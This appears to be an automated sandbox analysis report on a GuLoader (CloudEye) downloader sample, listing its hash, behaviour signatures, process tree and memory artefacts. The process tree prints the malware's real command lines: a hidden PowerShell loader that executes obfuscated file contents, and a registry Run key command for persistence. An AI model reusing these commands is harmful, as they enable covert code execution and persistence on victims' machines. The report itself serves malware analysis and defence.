Analysis
- max time kernel
151s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
22/04/2024, 14:18
General
- Target 04172024121853atr reteks.exe
- Size 1.1MB
- Sample240422-rl9mysce3v
- SHA256 b9d1e862b5f864aab90e418632cf973132a4b4cbe4044b1fb997d9dfbd7ad0f4
Malware Config
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Program Files directory 1 IoCs
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\04172024121853atr reteks.exe"C:\Users\Admin\AppData\Local\Temp\04172024121853atr reteks.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Bissede=Get-Content 'C:\Users\Admin\AppData\Local\nervier\Estampede\sipunculacean\Michelines.All';$Flumes35=$Bissede.SubString(58005,3);.$Flumes35($Bissede)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hakkers" /t REG_EXPAND_SZ /d "%Philocaly% -windowstyle minimized $Atomlres=(Get-ItemProperty -Path 'HKCU:\Mayst\').Fordjelsesbesvrets;%Philocaly% ($Atomlres)"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hakkers" /t REG_EXPAND_SZ /d "%Philocaly% -windowstyle minimized $Atomlres=(Get-ItemProperty -Path 'HKCU:\Mayst\').Fordjelsesbesvrets;%Philocaly% ($Atomlres)"5⤵
- Adds Run key to start application
- Modifies registry key
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2544 -s 17124⤵
- Program crash
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4112 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:81⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 2544 -ip 25441⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_rc24ojmd.yfv.ps1
Indskrnkningens.Meg
Michelines.All
memory/2544-81-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-83-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-66-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-100-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-99-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-98-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-97-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-96-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-95-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-94-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-93-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-92-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-91-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-90-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-87-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-86-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-85-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-84-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-82-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-80-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-79-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-78-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-77-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-76-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-75-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-64-0x00000000021A0000-0x0000000004EF6000-memory.dmp
memory/2544-73-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-53-0x00000000021A0000-0x0000000004EF6000-memory.dmp
memory/2544-71-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-55-0x0000000077A08000-0x0000000077A09000-memory.dmp
memory/2544-56-0x0000000077981000-0x0000000077AA1000-memory.dmp
memory/2544-65-0x0000000077981000-0x0000000077AA1000-memory.dmp
memory/2544-70-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-67-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-74-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/2544-69-0x0000000000F40000-0x0000000002194000-memory.dmp
memory/3228-15-0x0000000004620000-0x0000000004630000-memory.dmp
memory/3228-37-0x0000000006050000-0x0000000006072000-memory.dmp
memory/3228-54-0x0000000008390000-0x000000000B0E6000-memory.dmp
memory/3228-72-0x0000000008390000-0x000000000B0E6000-memory.dmp
memory/3228-52-0x0000000077981000-0x0000000077AA1000-memory.dmp
memory/3228-51-0x0000000008390000-0x000000000B0E6000-memory.dmp
memory/3228-50-0x0000000008390000-0x000000000B0E6000-memory.dmp
memory/3228-49-0x0000000004620000-0x0000000004630000-memory.dmp
memory/3228-48-0x0000000004620000-0x0000000004630000-memory.dmp
memory/3228-46-0x0000000004620000-0x0000000004630000-memory.dmp
memory/3228-45-0x0000000004620000-0x0000000004630000-memory.dmp
memory/3228-44-0x0000000074FE0000-0x0000000075790000-memory.dmp
memory/3228-14-0x0000000074FE0000-0x0000000075790000-memory.dmp
memory/3228-68-0x0000000074FE0000-0x0000000075790000-memory.dmp
memory/3228-19-0x0000000004AF0000-0x0000000004B12000-memory.dmp
memory/3228-43-0x0000000006FE0000-0x0000000006FE4000-memory.dmp
memory/3228-35-0x0000000006A90000-0x0000000006B26000-memory.dmp
memory/3228-18-0x0000000004C60000-0x0000000005288000-memory.dmp
memory/3228-16-0x00000000024B0000-0x00000000024E6000-memory.dmp
memory/3228-38-0x00000000070E0000-0x0000000007684000-memory.dmp
memory/3228-40-0x0000000007D10000-0x000000000838A000-memory.dmp
memory/3228-36-0x0000000006000000-0x000000000601A000-memory.dmp
memory/3228-41-0x0000000004620000-0x0000000004630000-memory.dmp
memory/3228-34-0x0000000004620000-0x0000000004630000-memory.dmp
memory/3228-33-0x0000000005B00000-0x0000000005B4C000-memory.dmp
memory/3228-32-0x0000000005AD0000-0x0000000005AEE000-memory.dmp
memory/3228-27-0x00000000054E0000-0x0000000005834000-memory.dmp
memory/3228-17-0x0000000004620000-0x0000000004630000-memory.dmp
memory/3228-21-0x0000000005470000-0x00000000054D6000-memory.dmp
memory/3228-20-0x0000000005400000-0x0000000005466000-memory.dmp